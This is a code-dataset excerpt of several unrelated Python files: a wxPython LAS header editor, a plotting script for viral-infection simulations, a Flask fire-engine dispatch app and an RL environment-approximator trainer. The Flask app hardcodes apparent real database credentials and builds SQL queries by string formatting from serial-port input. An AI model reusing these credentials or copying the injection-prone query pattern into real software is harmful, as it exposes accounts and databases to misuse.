wx.lib.mixins.listctrl import CheckListCtrlMixin, TextEditMixin, \\\n ListCtrlAutoWidthMixin, ListRowHighlighter\n\nfrom collections import OrderedDict\n\nMEDIUM_GREY = wx.Colour(224, 224, 224)\n\n\nclass _LASSectionCtrl(wx.ListCtrl, TextEditMixin, CheckListCtrlMixin,\n ListCtrlAutoWidthMixin, ListRowHighlighter):\n def __init__(self, parent):\n wx.ListCtrl.__init__(self, parent, -1, style=wx.LC_REPORT)\n TextEditMixin.__init__(self)\n CheckListCtrlMixin.__init__(self)\n ListCtrlAutoWidthMixin.__init__(self)\n ListRowHighlighter.__init__(self, color=MEDIUM_GREY, mode=1)\n\n self.InsertColumn(0, '', width=24)\n self.InsertColumn(1, 'MNEM', width=80)\n self.InsertColumn(2, 'UNIT', width=80)\n self.InsertColumn(3, 'DATA', width=160)\n self.InsertColumn(4, 'DESC')\n\n self.Bind(wx.EVT_LIST_BEGIN_LABEL_EDIT, self.on_begin_label_edit)\n\n def on_begin_label_edit(self, event):\n if event.m_col == 0:\n event.Veto()\n else:\n event.Skip()\n\n def set_section(self, section):\n for line in section.values():\n index = self.InsertStringItem(sys.maxint, '')\n self.SetItem(index, 1, line[\"MNEM\"])\n self.SetItem(index, 2, line[\"UNIT\"])\n self.SetItem(index, 3, line[\"DATA\"])\n self.SetItem(index, 4, line[\"DESC\"])\n self.RefreshRows()\n\n def get_section(self):\n n = self.GetItemCount()\n section = OrderedDict()\n for i in range(n):\n mnem = self.GetItem(i, 1).GetText()\n unit = self.GetItem(i, 2).GetText()\n data = self.GetItem(i, 3).GetText()\n desc = self.GetItem(i, 4).GetText()\n line = {\"MNEM\": mnem, \"UNIT\": unit, \"DATA\": data, \"DESC\": desc}\n section[mnem] = line\n return section\n\n def get_selection(self):\n n = self.GetItemCount()\n selection = []\n for i in range(n):\n if self.IsChecked(i):\n selection.append(i)\n return selection\n\n\nclass _LASSectionPanel(wx.Panel):\n def __init__(self, *args, **kwargs):\n super(_LASSectionPanel, self).__init__(*args, **kwargs)\n\n vbox = wx.BoxSizer(wx.VERTICAL)\n add = wx.Button(self, -1, u'Adicionar linha', size=(100, -1))\n rem = wx.Button(self, -1, u'Remover linhas', size=(100, -1))\n self.Bind(wx.EVT_BUTTON, self.on_add, id=add.GetId())\n self.Bind(wx.EVT_BUTTON, self.on_remove, id=rem.GetId())\n vbox.Add(add, 1, wx.ALIGN_TOP)\n vbox.Add(rem, 1, wx.ALIGN_TOP)\n\n hbox = wx.BoxSizer(wx.HORIZONTAL)\n self.section_ctrl = _LASSectionCtrl(self)\n hbox.Add(vbox, 0)\n hbox.Add(self.section_ctrl, 1, wx.EXPAND)\n\n self.SetSizer(hbox)\n\n def set_section(self, section):\n self.section_ctrl.set_section(section)\n\n def get_section(self):\n return self.section_ctrl.get_section()\n\n def on_add(self, event):\n index = self.section_ctrl.InsertStringItem(sys.maxint, '')\n self.section_ctrl.SetStringItem(index, 1, '')\n self.section_ctrl.SetStringItem(index, 2, '')\n self.section_ctrl.SetStringItem(index, 3, '')\n self.section_ctrl.SetStringItem(index, 4, '')\n self.section_ctrl.RefreshRows()\n\n def on_remove(self, event):\n selection = self.section_ctrl.get_selection()\n for i in selection[::-1]:\n self.section_ctrl.DeleteItem(i)\n self.section_ctrl.RefreshRows()\n\n\nclass Panel(wx.Panel):\n def __init__(self, *args, **kwargs):\n super(Panel, self).__init__(*args, **kwargs)\n\n nb = wx.Notebook(self)\n\n self.version_panel = _LASSectionPanel(nb)\n self.well_panel = _LASSectionPanel(nb)\n self.curve_panel = _LASSectionPanel(nb)\n self.parameter_panel = _LASSectionPanel(nb)\n other_panel = wx.Panel(nb)\n self.other_textctrl = wx.TextCtrl(other_panel, -1,\n style=wx.TE_MULTILINE)\n box = wx.BoxSizer()\n box.Add(self.other_textctrl, 1, wx.EXPAND)\n other_panel.SetSizer(box)\n\n nb.AddPage(self.version_panel, \"~VERSION INFORMATION\")\n nb.AddPage(self.well_panel, \"~WELL INFORMATION\")\n nb.AddPage(self.curve_panel, \"~CURVE INFORMATION\")\n nb.AddPage(self.parameter_panel, \"~PARAMETER INFORMATION\")\n nb.AddPage(other_panel, \"~OTHER INFORMATION\")\n\n sizer = wx.BoxSizer()\n sizer.Add(nb, 1, wx.EXPAND)\n self.SetSizer(sizer)\n\n def set_header(self, header):\n self.version_panel.set_section(header[\"V\"])\n self.well_panel.set_section(header[\"W\"])\n self.curve_panel.set_section(header[\"C\"])\n self.parameter_panel.set_section(header.get(\"P\", OrderedDict()))\n self.other_textctrl.WriteText(header.get(\"O\", ''))\n\n def get_header(self): # TODO: Manter os nomes das seções originais\n header = OrderedDict()\n header[\"V\"] = self.version_panel.get_section()\n header[\"W\"] = self.well_panel.get_section()\n header[\"C\"] = self.curve_panel.get_section()\n psection = self.parameter_panel.get_section()\n if psection:\n header[\"P\"] = psection\n osection = self.other_textctrl.GetValue()\n if osection:\n header[\"O\"] = osection\n header[\"A\"] = ''\n return header\n\n\nclass Dialog(wx.Dialog):\n def __init__(self, *args, **kwargs):\n if 'on_ok_callback' in kwargs:\n self.on_ok_callback = kwargs.pop('on_ok_callback')\n else:\n self.on_ok_callback = None\n\n if 'on_cancel_callback' in kwargs:\n self.on_cancel_callback = kwargs.pop('on_cancel_callback')\n else:\n self.on_cancel_callback = None\n\n super(Dialog, self).__init__(*args, **kwargs)\n\n self.header_panel = Panel(self)\n\n button_sizer = self.CreateButtonSizer(wx.OK | wx.CANCEL)\n self.Bind(wx.EVT_BUTTON, self.on_button)\n\n vbox = wx.BoxSizer(wx.VERTICAL)\n vbox.Add(self.header_panel, proportion=1, flag=wx.ALL | wx.EXPAND)\n vbox.Add(button_sizer, flag=wx.ALIGN_RIGHT)\n self.SetSizer(vbox)\n\n self.SetSize((800, 600))\n self.SetTitle(u\"Editor de Cabeçalho LAS\")\n\n def set_header(self, header):\n self.header_panel.set_header(header)\n\n def get_header(self):\n return self.header_panel.get_header()\n\n def on_button(self, event):\n evt_id = event.GetId()\n if evt_id == wx.ID_OK and self.on_ok_callback is not None:\n self.on_ok_callback(event)\n elif evt_id == wx.ID_CANCEL and self.on_cancel_callback is not None:\n self.on_cancel_callback(event)\n event.Skip(True)","sub_path":"UI/HeaderEditor.py","file_name":"HeaderEditor.py","file_ext":"py","file_size_in_byte":6775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"326475987","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nnames = ['Time','U','I1','I2','D','Ve','IFNe']\nt = 480\nreplicate = 20\nparameter = 'k11'\np = [0.00,0.25,0.50,0.75,1.00]\nFinal_I1 = np.zeros(len(p))\nFinal_I2 = np.zeros(len(p))\nFinal_D = np.zeros(len(p))\nTotal_Ve = np.zeros(len(p))\nTotal_IFNe = np.zeros(len(p))\nfor i in range(len(p)):\n MI1 = np.zeros((1, replicate))\n MI2 = np.zeros((1, replicate))\n MD = np.zeros((1, replicate))\n TVe = np.zeros((1, replicate))\n TIFNe = np.zeros((1, replicate))\n for r in range(1,replicate+1):\n f = np.genfromtxt('FullModelCellular_%s_%.2f_%i.txt' % (parameter,p[i],r), skip_header=1, delimiter=',', names=names)\n MI1[:,r-1] = f['I1'][-1]\n MI2[:,r-1] = f['I2'][-1]\n MD[:,r-1] = f['D'][-1]\n TVe[:,r-1] = np.sum(f['Ve'])\n TIFNe[:, r - 1] = np.sum(f['IFNe'])\n Final_I1[i] = np.mean(MI1,1)\n Final_I2[i] = np.mean(MI2, 1)\n Final_D[i] = np.mean(MD, 1)\n Total_Ve[i] = np.mean(TVe, 1)\n Total_IFNe[i] = np.mean(TIFNe, 1)\n\nplt.plot(p,Final_I1,color='orange',linewidth = 3.0, label = 'I1')\nplt.plot(p,Final_I2,color='red',linewidth = 3.0, label = 'I2')\nplt.plot(p,Final_D,color='purple',linewidth = 3.0,label = 'D')\nplt.title('Final Fraction of Cells')\nplt.ylabel('Final Fraction of Cells')\nplt.xlabel('Parameter Multiplier')\nplt.legend(loc=2)\nplt.savefig('Final_Cells_%s.pdf' % parameter)\nplt.clf()\n\nplt.plot(p,Total_Ve,color='#666699',linewidth = 3.0, label = 'Extracellular Virus')\nplt.title('Total Extracellular Virus')\nplt.ylabel(r'Total Extracellular Virus (PFU/ml)')\nplt.xlabel('Parameter Multiplier')\nplt.legend(loc=2)\nplt.savefig('Total_Virus_%s.pdf' % parameter)\nplt.clf()\n\nplt.plot(p,Total_IFNe,color='#993300',linewidth = 3.0, label = 'Extracellular IFN')\nplt.title('Total Extracellular IFN')\nplt.ylabel(r'Total Extracellular IFN ($\\mu$M)')\nplt.xlabel('Parameter Multiplier')\nplt.legend(loc=2)\nplt.savefig('Total_IFNe_%s.pdf' % parameter)","sub_path":"IFNModels/PlaqueAssay/No_Paracrine2/Plot_Cellular.py","file_name":"Plot_Cellular.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"58755528","text":"# -*- coding: utf-8 -*-\n\"\"\"\n :author: Grey Li (李辉)\n :url: http://greyli.com\n :copyright: © 2019 Grey Li\n :license: MIT, see LICENSE for more details.\n\"\"\"\nfrom flask import Flask, render_template\nfrom flask_assets import Environment, Bundle\nfrom flask_ckeditor import CKEditor\nimport json\nimport psycopg2\nimport ctypes\nimport serial\nimport sys\nimport requests\nfrom flask_debugtoolbar import DebugToolbarExtension\nimport logging\nimport subprocess\n\n\napp = Flask(__name__)\napp.debug = True\napp.secret_key = 'development key'\n\ntoolbar = DebugToolbarExtension(app)\nassets = Environment(app)\nckeditor = CKEditor(app)\n\ncss = Bundle('css/bootstrap.min.css',\n 'css/bootstrap.css',\n 'css/dropzone.min.css',\n 'css/jquery.Jcrop.min.css',\n 'css/style.css',\n 'css/leaflet-routing-machine.css',\n 'css/leaflet.css',\n filters='cssmin', output='gen/packed.css')\n\njs = Bundle('js/jquery.min.js',\n 'js/popper.min.js',\n 'js/bootstrap.min.js',\n 'js/bootstrap.js',\n 'js/moment-with-locales.min.js',\n 'js/dropzone.min.js',\n 'js/jquery.Jcrop.min.js',\n 'js/leaflet-routing-machine.js',\n 'js/leaflet.js',\n filters='jsmin', output='gen/packed.js')\n\nassets.register('js_all', js)\nassets.register('css_all', css)\n\n\ndef getFromTo(interventions_complex, fire_engines, fires):\n ret = []\n for intervention in interventions_complex:\n print(str(intervention))\n idEngine = intervention[0]\n idFire = intervention[1]\n fromEngine = []\n toFire = []\n for item in fire_engines:\n if item[2] == idEngine:\n fromEngine = item[:-1]\n for item in fires:\n if item[2] == idFire:\n toFire = item[:-1]\n ret.append([fromEngine, toFire, intervention[2]])\n return ret\n\ndef SendInflux():\n user = ''\n password = ''\n dbname = 'historisation'\n dbuser = ''\n dbuser_password = 'my_secret_password'\n json_body = [\n {\n \"measurement\": \"analysis_data\",\n \"tags\": {\n \"type\": \"fire\",\n },\n \"time\": str(datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')),\n \"fields\": {\n \"Float_value\": 0.64,\n \"Int_value\": 3,\n \"String_value\": \"Text\",\n \"Bool_value\": True\n }\n }\n ]\n\n client = InfluxDBClient(host, port, user, password, dbname)\n\n print(\"Create database: \" + dbname)\n client.create_database(dbname)\n\n print(\"Write points: {0}\".format(json_body))\n client.write_points(json_body)\n\ndef getSer():\n if sys.platform.startswith('win'):\n SERIALPORT = \"COM4\"\n else:\n SERIALPORT = \"/dev/ttyUSB1\"\n\n return serial.Serial(\n port=SERIALPORT,\n baudrate=115200\n )\n\n@app.route('/')\ndef index():\n # read serial port to get fires\n ser = getSer()\n a = \"\"\n\n try:\n print(\"waiting 4\")\n a = ser.readline()\n print(\"got serial\")\n ser.close()\n except serial.SerialException:\n ser.close()\n print(\"Serial port not available\")\n\n tab = []\n finalfires = []\n tab = str(a, 'utf-8').split(\";\")\n for fire in tab:\n finalfires.append(fire.split(\",\"))\n\n try:\n # establish database connection\n conn = psycopg2.connect(\n host=\"manny.db.elephantsql.com\",\n database=\"ngcbqvhq\",\n user=\"ngcbqvhq\",\n password=\"Ppjleq3n6HQF5qPheDze2QFzG4LHxTAf\")\n\n # initialise all database info\n fire_engine_table = {}\n fire_engine_table[\"fire_engine_id\"] = \"id\"\n fire_engine_table[\"fire_engine_id_station\"] = \"id_station\"\n fire_engine_table[\"fire_engine_x_pos\"] = \"x_pos\"\n fire_engine_table[\"fire_engine_y_pos\"] = \"y_pos\"\n fire_engine_table[\"fire_engine_table_name\"] = \"fire_engine\"\n\n intervention_table = {}\n intervention_table[\"intervention_id\"] = \"intervention.id\"\n intervention_table[\"intervention_id_fire_engine\"] = \"id_fire_engine\"\n intervention_table[\"intervention_id_fire\"] = \"id_fire\"\n intervention_table[\"intervention_table_name\"] = \"intervention\"\n intervention_table[\"intervention_route\"] = \"route\"\n\n fire_table = {}\n fire_table[\"fire_id\"] = \"fire.id\"\n fire_table[\"fire_id_real_pos\"] = \"fire.id_real_pos\"\n fire_table[\"fire_intensity\"] = \"intensity\"\n fire_table[\"fire_table_name\"] = \"fire\"\n\n real_pos_table = {}\n real_pos_table[\"real_pos_id\"] = \"real_pos.id\"\n real_pos_table[\"real_pos_real_x\"] = \"real_x\"\n real_pos_table[\"real_pos_real_y\"] = \"real_y\"\n real_pos_table[\"real_pos_name\"] = \"real_pos\"\n\n cur = conn.cursor()\n\n #Update all fires in EM database\n for fire in finalfires:\n cur.execute(\"UPDATE {0} set {1} = {2} where {3} = {4}\".format(\n fire_table[\"fire_table_name\"],\n fire_table[\"fire_intensity\"],\n str(fire[1]),\n fire_table[\"fire_id\"],\n str(fire[0]))\n )\n conn.commit()\n\n # get fire_engines\n cur.execute(\"select {0}, {1}, {2} from {3} \".format(\n fire_engine_table[\"fire_engine_x_pos\"],\n fire_engine_table[\"fire_engine_y_pos\"],\n fire_engine_table[\"fire_engine_id\"],\n fire_engine_table[\"fire_engine_table_name\"],\n fire_engine_table[\"fire_engine_id\"])\n )\n fire_engines = []\n row = cur.fetchone()\n while row is not None:\n fire_engines.append(list(row))\n row = cur.fetchone()\n\n # get stations\n cur.execute(\"select real_x, real_y from real_pos where id in (select id from station)\")\n stations_pos = []\n row = cur.fetchone()\n while row is not None:\n stations_pos.append(list(row))\n row = cur.fetchone()\n\n # get fire_engines positions\n fire_engines_pos = []\n for elem in fire_engines:\n fire_engines_pos.append(elem[:-1])\n\n # get active fires to disp\n cur.execute(\"select {0}, {1}, {2}, intensity from {3}, {4} where {5} = {6} and intensity > 0\".format(\n real_pos_table[\"real_pos_real_x\"],\n real_pos_table[\"real_pos_real_y\"],\n fire_table[\"fire_id\"],\n fire_table[\"fire_table_name\"],\n real_pos_table[\"real_pos_name\"],\n fire_table[\"fire_id_real_pos\"],\n real_pos_table[\"real_pos_id\"])\n )\n firesToDisp = []\n row = cur.fetchone()\n while row is not None:\n firesToDisp.append(list(row))\n row = cur.fetchone()\n\n # get fires\n cur.execute(\"select {0}, {1}, {2} from {3}, {4} where {5} = {6}\".format(\n real_pos_table[\"real_pos_real_x\"],\n real_pos_table[\"real_pos_real_y\"],\n fire_table[\"fire_id\"],\n fire_table[\"fire_table_name\"],\n real_pos_table[\"real_pos_name\"],\n fire_table[\"fire_id_real_pos\"],\n real_pos_table[\"real_pos_id\"])\n )\n fires = []\n row = cur.fetchone()\n while row is not None:\n fires.append(list(row))\n row = cur.fetchone()\n \n\n # get active fires positions\n fire_pos = []\n for elem in fires:\n fire_pos.append(elem[:-1])\n\n # get all interventions, so we can use fire/engine link\n cur.execute(\"select {0}, {1}, {2} from {3}\".format(\n intervention_table[\"intervention_id_fire_engine\"],\n intervention_table[\"intervention_id_fire\"],\n intervention_table[\"intervention_id\"],\n intervention_table[\"intervention_table_name\"]\n ))\n interventions_complex = []\n row = cur.fetchone()\n while row is not None:\n interventions_complex.append(list(row))\n row = cur.fetchone()\n interventions = []\n for elem in interventions_complex:\n interventions.append(elem[:-1])\n\n # Establish itineraries from fire_engines to active fires, according to the existing interventions\n fromTo = getFromTo(interventions_complex, fire_engines, fires)\n print(str(fromTo))\n\n # TODO influx insert\n\n # Parse fire_engines from 0 à x, donc on peut attribuer les chemins sans le meme ordre\n routingInfo = list()\n for ft in fromTo:\n link = \"http://router.project-osrm.org/route/v1/driving/\" + str(ft[0][1]) + \",\" + str(ft[0][0]) + \";\" + str(ft[1][1]) + \",\" + str(ft[1][0]) + \"?overview=full\"\n if \"routes\" in requests.get(link).json():\n res = requests.get(link).json()[\"routes\"][0][\"geometry\"]\n routingInfo.append(res)\n # insert routes in db\n cur.execute((\"update {0} set {1} = '{2}' where intervention.id = {3}\").format(\n intervention_table[\"intervention_table_name\"],\n intervention_table[\"intervention_route\"],\n str(res).replace(\"['\", \"\").replace(\"']\", \"\"),\n ft[2],))\n conn.commit()\n\n else:\n cur.execute(\"select {0} from {1} where {2} in (select {3} from {4} where round({5}::numeric,4) = {6} and round({7}::numeric,4) = {8})\".format(\n intervention_table[\"intervention_route\"],\n intervention_table[\"intervention_table_name\"],\n intervention_table[\"intervention_id_fire_engine\"],\n fire_engine_table[\"fire_engine_id\"],\n fire_engine_table[\"fire_engine_table_name\"],\n fire_engine_table[\"fire_engine_x_pos\"],\n str(round(ft[0][0], 4)),\n fire_engine_table[\"fire_engine_y_pos\"],\n str(round(ft[0][1], 4))))\n routingInfo.append(str(cur.fetchone()[0]))\n\n if 'cur' in locals():\n if cur is not None:\n cur.close()\n return render_template('index.html', fire_engines=fire_engines_pos, routingInfo=routingInfo, fires=firesToDisp, stations_pos=stations_pos)\n except Exception as e:\n print(e)\n if 'cur' in locals():\n if cur is not None:\n cur.close()\n return render_template('index.html', fire_engines=[], routingInfo=[], fires=[], stations_pos=[])\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"411599486","text":"# -*- coding: utf-8 -*-\n# -------------------------------\n# Author: Zikang Xiong\n# Email: zikangxiong@gmail.com\n# Date: 2019-10-30 10:08:05\n# Last Modified by: Zikang Xiong\n# Last Modified time: 2019-11-20 11:18:18\n# -------------------------------\nimport argparse\nimport gym\nimport os\nROOT = os.path.dirname(os.path.abspath(gym.__file__))+\"/envs/env_approx/\"\n\nimport numpy as np\nimport math\nimport itertools\n\nimport tensorflow as tf\nimport tensorflow.keras as keras\nfrom tensorflow.keras.models import Model, load_model\nfrom tensorflow.keras.losses import mean_absolute_percentage_error\nfrom tensorflow.keras.layers import BatchNormalization, RepeatVector, \\\n\t\t\t\t\t\t\t\t\tLSTM, Dense, TimeDistributed, GaussianNoise, Input\n\nfrom recurrentshop import RecurrentModel, RecurrentSequential\nfrom recurrentshop.cells import LSTMCell\n\nfrom scout.Utils.NNTools import zoo_model, old_ddpg_model\n\nfrom scout.Utils.StateCompress.compressor import Compressor \n\ndef create_fully_connected_approximator(input_size, hidden_structure, output_size):\n\t\"\"\"\n\t\tAs the function name\n\t\"\"\"\n\twith tf.variable_scope(\"environment_approximator\", reuse=True):\n\t\tapprox = keras.Sequential()\n\t\tapprox.add(keras.layers.BatchNormalization(input_shape=(input_size,)))\n\t\tfor neuron_num in hidden_structure:\n\t\t\tapprox.add(keras.layers.Dense(neuron_num, activation='relu'))\n\t\tapprox.add(keras.layers.Dense(output_size, activation='linear', name=\"xt_plus_1\"))\n\t\t\n\t\tapprox.compile(optimizer=keras.optimizers.Adam(0.001), \n\t\t\t\t\t\tloss=mean_absolute_percentage_error, \n\t\t\t\t\t\tmetrics=['mae', mean_absolute_percentage_error])\n\n\treturn approx\n\ndef create_rnn_approximator(state_size, chain_length, \\\n\t\t\t\t\t\t\tnoise_stddev=0.0, load_path=None, learning_rate=1e-3):\n\tmagic_number = (int(math.sqrt(state_size))+1)*32\n\n\tif load_path is not None:\n\t\tapprox = load_model(load_path)\n\telse:\n\t\twith tf.variable_scope(\"rnn_environment_approximator\", reuse=True):\n\n\t\t\t# approx = RecurrentSequential(readout=\"readout_only\", teacher_force=True, return_sequences=True)\n\t\t\t# approx.add(RepeatVector(chain_length, input_shape=(state_size,)))\n\t\t\t# approx.add(LSTMCell(magic_number, input_dim=(chain_length, state_size)))\n\t\t\t# # approx.add(TimeDistributed(Dense(state_size, activation=\"linear\")))\n\n\t\t\t# x = Input((state_size, ))\n\t\t\t# y_true = Input((chain_length, state_size))\n\t\t\t# y = approx(x, ground_truth=y_true)\n\t\t\t# training_model = Model([x, y_true], y)\n\n\t\t\tapprox = keras.Sequential()\n\t\t\t# approx.add(BatchNormalization(input_shape=(None, state_size)))\n\t\t\t# approx.add(GaussianNoise(noise_stddev, input_shape=(None, state_size)))\n\t\t\tapprox.add(RepeatVector(chain_length))\n\t\t\tapprox.add(LSTM(magic_number, return_sequences=True))\n\t\t\tapprox.add(LSTM(magic_number, return_sequences=True))\n\t\t\tapprox.add(TimeDistributed(Dense(magic_number, activation=\"relu\")))\n\t\t\tapprox.add(keras.layers.Dense(magic_number, activation=\"relu\"))\n\t\t\tapprox.add(keras.layers.Dense(magic_number, activation=\"relu\"))\n\t\t\tapprox.add(keras.layers.Dense(magic_number, activation=\"relu\"))\n\t\t\tapprox.add(TimeDistributed(Dense(state_size, activation=\"linear\")))\n\n\tapprox.compile(optimizer=keras.optimizers.Adam(learning_rate), \n\t\t\t\t\tloss=\"mae\", #mean_absolute_percentage_error, \n\t\t\t\t\tmetrics=['mae'])\n\n\treturn approx\n\n\n# All dataset generated with deterministic model\ndef nn_generate_reward_dataset(model_name, algo=None, iteration=1e3, approx_step=150, max_step=200, compress=False, nn_model=None):\n\tif not os.path.exists(ROOT+model_name):\n\t\tos.makedirs(ROOT+model_name)\n\n\tif nn_model is None:\n\t\tassert not (algo is None)\n\t\tnn_model = zoo_model.load_model(model_name, algo)\n\n\tenv = gym.make(model_name)\n\n\tif compress == True:\n\t\tcp = Compressor(env.env.initial_state.low, env.env.initial_state.high)\n\t\n\tinput_x = []\n\toutput_reward = []\n\n\tfor i in range(iteration):\n\t\tobs = env.reset()\n\t\trewards = []\n\t\tcumulative_rewards = []\n\t\tstates = [np.array(env.env.state)[cp.nonzero_index] if compress else env.env.state]\n\n\t\tfor i in range(max_step):\n\t\t\tu, _ = nn_model.predict(obs, deterministic=True)\n\t\t\tobs, reward, done, _ = env.step(u)\n\t\t\tif i < max_step - approx_step - 1:\n\t\t\t\tstates.append(np.array(env.env.state)[cp.nonzero_index] if compress else env.env.state)\n\t\t\trewards.append(reward)\n\n\t\tinput_x.append(states)\n\n\t\tfor i in range(max_step-approx_step+1):\n\t\t\tcumulative_rewards.append(np.sum(rewards[i: approx_step+i]))\n\n\t\toutput_reward.append(cumulative_rewards)\n\n\tinput_x = np.array(input_x)\n\toutput_reward = np.array(output_reward)\n\n\tprint(\"------------ \"+model_name+\" dataset info ------------\")\n\tprint(\"input x shape: \", input_x.shape)\n\tprint(\"output reward shape: \", output_reward.shape)\n\tprint(\"--------------------------------------------------\")\n\n\tnp.save(ROOT+model_name+\"/\"+algo+\"_ra_input_x_\"+\"%.0e\"%iteration, input_x)\n\tnp.save(ROOT+model_name+\"/\"+algo+\"_ra_output_reward_\"+\"%.0e\"%iteration, output_reward)\n\ndef nn_trace_generator(model_name, algo=None, iteration=1e3, max_step=200, nn_model=None):\n\tif not os.path.exists(ROOT+model_name):\n\t\tos.makedirs(ROOT+model_name)\n\n\tif nn_model is None:\n\t\tif model_name[:3] == \"Vrl\" or model_name[:3] == \"F16\": # old model\n\t\t\tnn_model = old_ddpg_model.load(model_name)\n\t\telse: # zoo model\n\t\t\tassert not (algo is None)\n\t\t\tnn_model = zoo_model.load_model(model_name, algo)\n\n\tenv = gym.make(model_name)\n\n\ttraces = []\n\n\tfor i in range(iteration):\n\t\tobs = env.reset()\n\t\tstates = [np.array(env.env.state)]\n\n\t\tfor i in range(max_step):\n\t\t\tu, _ = nn_model.predict(obs, deterministic=True)\n\t\t\tobs, reward, done, _ = env.step(u)\n\t\t\tstates.append(env.env.state)\n\t\t\tif done:\n\t\t\t\tbreak\n\n\t\ttraces.append(states)\n\n\tnp.save(ROOT+model_name+\"/\"+algo+\"_trace_\"+\"%.0e\"%iteration, np.array(traces))\n\ndef nn_generate_vertex_reward_dataset(model_name, algo, approx_step, max_step, nn_model=None):\n\t# only support compress mode now\n\tassert approx_step == max_step # TODO: Refactor this\n\n\tif not os.path.exists(ROOT+model_name):\n\t\tos.makedirs(ROOT+model_name)\n\n\tif nn_model is None:\n\t\tassert not (algo is None)\n\t\tnn_model = zoo_model.load_model(model_name, algo)\n\n\tenv = gym.make(model_name)\n\tcp = Compressor(env.env.initial_space.low, env.env.initial_space.high)\n\n\tinput_x = []\n\toutput_reward = []\n\n\tlow_high_pairs = []\n\tcompressed_state = cp.compress()\n\tfor i in range(np.sum(cp.nonzero_index)):\n\t\tlow_high_pairs.append([compressed_state[0][i], compressed_state[1][i]])\n\n\tif len(low_high_pairs) > 1:\n\t\tvertices = [i for i in itertools.product(*low_high_pairs)]\n\telif len(low_high_pairs) == 1:\n\t\tvertices = [np.array(i) for i in low_high_pairs[0]]\n\n\tvertices.append((compressed_state[0]+compressed_state[1])/2)\n\t\n\tfor compressed_x0 in vertices:\n\t\tobs = env.reset(x0=cp.decompress_any(compressed_x0))\n\t\trewards = []\n\t\tcumulative_rewards = []\n\t\tstates = [np.array(env.env.state)[cp.nonzero_index]]\n\n\t\tfor i in range(max_step):\n\t\t\tu, _ = nn_model.predict(obs, deterministic=True)\n\t\t\tobs, reward, done, _ = env.step(u)\n\t\t\tif i < max_step - approx_step - 1:\n\t\t\t\tstates.append(np.array(env.env.state)[cp.nonzero_index])\n\t\t\trewards.append(reward)\n\n\t\tinput_x.append(states)\n\n\t\tfor i in range(max_step-approx_step+1):\n\t\t\tcumulative_rewards.append(np.sum(rewards[i: approx_step+i]))\n\n\t\tprint(compressed_x0)\n\t\tprint(cumulative_rewards[-1])\n\t\toutput_reward.append(cumulative_rewards)\n\n\tinput_x = np.array(input_x)\n\toutput_reward = np.array(output_reward)\n\n\tprint(\"------------ \"+model_name+\" dataset info ------------\")\n\tprint(\"input x shape: \", input_x.shape)\n\tprint(\"output reward shape: \", output_reward.shape)\n\tprint(\"--------------------------------------------------\")\n\n\tnp.save(ROOT+model_name+\"/\"+algo+\"_vra_input_x\", input_x)\n\tnp.save(ROOT+model_name+\"/\"+algo+\"_vra_output_reward\", output_reward)\n\n\ndef generate_reward_approximator(model_name, prefix=\"\", postfix=\"\", approx_step=None):\n\tinput_x = np.load(ROOT+model_name+\"/\"+prefix+\"input_x\"+postfix+\".npy\")\n\toutput_reward = np.load(ROOT+model_name+\"/\"+prefix+\"output_reward\"+postfix+\".npy\")\n\n\tinput_size = input_x.shape[-1]\n\toutput_size = 1\n\t# increase the neural network's size according to the size of input\n\t# magic_number = int(math.sqrt(input_size))+1\n\t# hidden_structure = []\n\t# for i in range(magic_number):\n\t# \thidden_structure.append(32*magic_number)\n\thidden_structure = [128, 128, 64, 64, 64]\n\n\tinput_set = input_x.reshape([-1, input_size])\n\toutput_set = output_reward.reshape([-1, output_size])\n\n\tpostfix += \"_approx\"+str(approx_step)\n\n\tapprox = create_fully_connected_approximator(input_size, hidden_structure, output_size)\n\n\tbatch_size = int(np.clip(len(input_set)/1000, 1, 256))\n\tapprox.fit(input_set, output_set, epochs=500, batch_size=batch_size)\n\n\tapprox.save(ROOT+model_name+\"/\"+prefix+\"approx\"+postfix+\".model\")\n\n\ndef generate_rnn_approximator(model_name, prefix=\"\", postfix=\"\", \n\tmax_step=200, approx_step=1, load_path=None, learning_rate=1e-4):\n\ttraces = np.load(ROOT+model_name+\"/\"+prefix+\"_trace_\"+postfix+\".npy\")\n\tstate_size = traces[-1].shape[-1]\n\tapprox = create_rnn_approximator(state_size=state_size, chain_length=max_step, \n\t\t\t\t\t\t\t\t\tload_path=load_path, learning_rate=learning_rate)\n\n\tinput_set = []\n\toutput_set = []\n\ttrace_index = np.array([i*approx_step for i in range(int(max_step/approx_step))])\n\tfor i in range(len(traces)):\n\t\tinput_set.append(traces[i][trace_index[0]])\n\t\toutput_set.append(traces[i][trace_index])\n\n\t# approx.summary()\n\tinput_set = np.array(input_set)#[:1]\n\toutput_set = np.array(output_set)#[:1]\n\n\tbatch_size = int(np.clip(len(input_set)/1000, 1, 128))\n\tapprox.fit(input_set, output_set, epochs=10, batch_size=batch_size)\n\tapprox.save(ROOT+model_name+\"/\"+prefix+\"_rnn_approx_\"+postfix+\".model\")\n\n\ndef reward_approx_generator(model_name, algo, iteration=None, approx_step=None, max_step=None, compress=False, vertices=False):\n\tif vertices:\n\t\tnn_generate_vertex_reward_dataset(model_name, algo, approx_step, max_step)\n\t\tgenerate_reward_approximator(model_name, prefix=algo+\"_vra_\", approx_step=approx_step)\n\telse:\n\t\tassert iteration is not None\n\t\tnn_generate_reward_dataset(model_name, algo, iteration=int(iteration), approx_step=approx_step, max_step=max_step)\n\t\tgenerate_reward_approximator(model_name, prefix=algo+\"_ra_\", postfix=\"_%.0e\"%iteration, approx_step=approx_step)\n\ndef rnn_approximator_generator(model_name, algo, iteration, max_step, approx_step):\n\t# nn_trace_generator(model_name, algo, iteration=iteration, max_step=max_step)\n\tgenerate_rnn_approximator(model_name, prefix=algo, postfix=\"%.0e\"%iteration, max_step=max_step, approx_step=approx_step)\n\nif __name__ == \"__main__\":\n\tgenerate_rnn_approximator(\"Pendulum-v0\", prefix=\"a2c\", max_step=200, postfix=\"%.0e\"%50, approx_step=1, \n\t\t# load_path=\"/home/zxiong/development/docker_share/scout/envs/gym/gym/envs/env_approx/Pendulum-v0/a2c_rnn_approx_5e+01.model\", 